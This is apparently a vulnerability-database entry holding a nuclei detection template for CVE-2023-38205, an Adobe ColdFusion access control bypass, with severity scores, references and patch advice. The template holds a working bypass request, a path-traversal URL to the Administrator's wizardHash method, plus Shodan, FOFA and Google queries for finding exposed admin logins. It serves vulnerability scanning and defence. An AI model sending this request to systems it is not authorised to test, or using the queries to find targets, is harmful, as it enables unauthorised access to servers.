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Adobe ColdFusion - Access Control Bypass

🗓️ 16 Jun 2026 07:13:51Reported by ProjectDiscoveryType 
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 nuclei
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Adobe ColdFusion Access Control Bypass CVE-2023-38205. Remote attacker bypasses access controls to ColdFusion Administrator

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id: CVE-2023-38205

info:
  name: Adobe ColdFusion - Access Control Bypass
  author: DhiyaneshDk
  severity: high
  description: |
    There is an access control bypass vulnerability in Adobe ColdFusion versions 2023 Update 2 and below, 2021 Update 8 and below and 2018 update 18 and below, which allows a remote attacker to bypass the ColdFusion mechanisms that restrict unauthenticated external access to ColdFusion's Administrator.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to bypass access controls and gain unauthorized access to sensitive information or perform unauthorized actions.
  remediation: |
    Apply the necessary security patches or updates provided by Adobe to mitigate this vulnerability.
  reference:
    - https://www.rapid7.com/blog/post/2023/07/19/cve-2023-38205-adobe-coldfusion-access-control-bypass-fixed/
    - https://helpx.adobe.com/security/products/coldfusion/apsb23-47.html
    - https://github.com/Ostorlab/KEV
    - https://github.com/Ostorlab/known_exploited_vulnerbilities_detectors
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-38205
    cwe-id: CWE-284,NVD-CWE-Other
    epss-score: 0.99732
    epss-percentile: 0.99952
    cpe: cpe:2.3:a:adobe:coldfusion:2018:-:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: adobe
    product: coldfusion
    shodan-query:
      - http.component:"Adobe ColdFusion"
      - http.component:"adobe coldfusion"
      - http.title:"coldfusion administrator login"
      - cpe:"cpe:2.3:a:adobe:coldfusion"
    fofa-query:
      - app="Adobe-ColdFusion"
      - app="adobe-coldfusion"
      - title="coldfusion administrator login"
    google-query: intitle:"coldfusion administrator login"
  tags: cve2023,cve,adobe,auth-bypass,coldfusion,kev,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/hax/..CFIDE/wizards/common/utils.cfc?method=wizardHash&inPassword=foo&_cfclient=true&returnFormat=wddx"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - ([0-9a-fA-F]{32},){2}[0-9a-fA-F]{32}

      - type: dsl
        dsl:
          - contains(content_type, "text/html")
          - status_code == 200
          - len(trim_space(body)) == 106
        condition: and
# digest: 4b0a00483046022100a8f51b89e0e2d92ba80c3d0f7954e30f93d999d3a4fdf5a93252113c0c5c22d7022100faf69a90df2bc91b5ef07dd5543c3785960e1c09de467d59e06b488d2da6e746:922c64590222798bb761d5b6d8e72950

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04 Feb 2026 07:00Current
8High risk
Vulners AI Score8
CVSS 3.17.5
EPSS0.99732
SSVC
52